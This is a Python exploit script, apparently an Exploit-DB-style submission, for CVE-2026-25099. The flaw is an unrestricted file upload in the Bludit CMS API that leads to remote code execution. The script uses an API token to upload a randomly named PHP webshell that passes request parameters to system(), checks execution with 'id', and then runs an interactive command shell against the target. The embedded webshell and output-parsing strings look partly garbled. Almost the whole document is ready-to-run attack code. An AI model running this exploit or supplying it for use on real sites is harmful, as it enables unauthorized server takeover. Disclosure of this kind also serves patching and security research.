# Exploit Title: Bludit CMS < 3.18.4 - API Unrestricted File Upload to RCE # Date: 2026-03-28 # Exploit Author: Yahia Hamza (https://yh.do) # Vendor Homepage: https://www.bludit.com/ # Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.18.2.zip # Version: Bludit < 3.18.4 # Tested on: Ubuntu 24.04 LTS / Apache 2.4 / PHP 8.3 # CVE: CVE-2026-25099 # # Description: # Bludit CMS API plugin allows an authenticated user with a valid API token # to upload files of any type and extension via POST /api/files/. # The uploadFile() function performs no file extension or content validation, # allowing upload of PHP webshells that execute as www-data. # # The API token is generated when the API plugin is activated and is visible # to users with admin panel access. Tokens may also be exposed through # misconfiguration, log files, or other application vulnerabilities. # # Fixed in Bludit 3.18.4. # # Usage: # python3 CVE-2026-25099.py -u http://target -t API_TOKEN # python3 CVE-2026-25099.py -u http://target -t API_TOKEN -c "id" import argparse import requests import sys import random import string def get_page_key(base_url, token): """Retrieve a valid page key from the Bludit API.""" try: r = requests.get( f"{base_url}/api/pages", params={"token": token}, timeout=10 ) if r.status_code == 200: data = r.json() if data.get("data") and len(data["data"]) > 0: return data["data"][0]["key"] except requests.RequestException as e: print(f"[-] Connection error: {e}") return None def upload_shell(base_url, token, page_key): """Upload a PHP webshell via the unrestricted file upload endpoint.""" shell_name = "".join(random.choices(string.ascii_lowercase, k=8)) + ".php" shell_content = '";system($_REQUEST["cmd"]);echo "";} ?>' try: r = requests.post( f"{base_url}/api/files/{page_key}", data={"token": token}, files={"file": (shell_name, shell_content, "application/x-php")}, timeout=10 ) if r.status_code == 200: data = r.json() if data.get("status") == "0": shell_url = f"{base_url}/bl-content/uploads/pages/{page_key}/{shell_name}" return shell_url, shell_name except requests.RequestException as e: print(f"[-] Upload error: {e}") return None, None def execute_command(shell_url, cmd): """Execute a command via the uploaded webshell.""" try: r = requests.get(shell_url, params={"cmd": cmd}, timeout=10) if r.status_code == 200 and "
" in r.text:
            return r.text.split("
")[1].split("
")[0].strip() except requests.RequestException: pass return None def main(): parser = argparse.ArgumentParser( description="CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE" ) parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://target)") parser.add_argument("-t", "--token", required=True, help="Bludit API token") parser.add_argument("-c", "--command", help="Command to execute (omit for interactive shell)") args = parser.parse_args() base_url = args.url.rstrip("/") print("[*] CVE-2026-25099 - Bludit CMS API File Upload to RCE") print(f"[*] Target: {base_url}") # Step 1: Get page key print("[*] Retrieving page key...") page_key = get_page_key(base_url, args.token) if not page_key: sys.exit("[-] Failed to retrieve page key. Check URL and token.") print(f"[+] Page key: {page_key}") # Step 2: Upload webshell print("[*] Uploading webshell...") shell_url, shell_name = upload_shell(base_url, args.token, page_key) if not shell_url: sys.exit("[-] Upload failed.") print(f"[+] Shell uploaded: {shell_url}") # Step 3: Verify RCE print("[*] Verifying RCE...") test = execute_command(shell_url, "id") if not test: sys.exit("[-] RCE verification failed. Shell may not be accessible.") print(f"[+] RCE confirmed: {test}") # Step 4: Execute command or interactive shell if args.command: output = execute_command(shell_url, args.command) if output: print(output) else: print("\n[+] Interactive shell (type 'exit' to quit)\n") while True: try: cmd = input("shell> ") if cmd.strip().lower() in ("exit", "quit"): break if not cmd.strip(): continue output = execute_command(shell_url, cmd) if output: print(output) else: print("(no output)") except (KeyboardInterrupt, EOFError): break print(f"\n[*] Shell: {shell_url}") if __name__ == "__main__": main()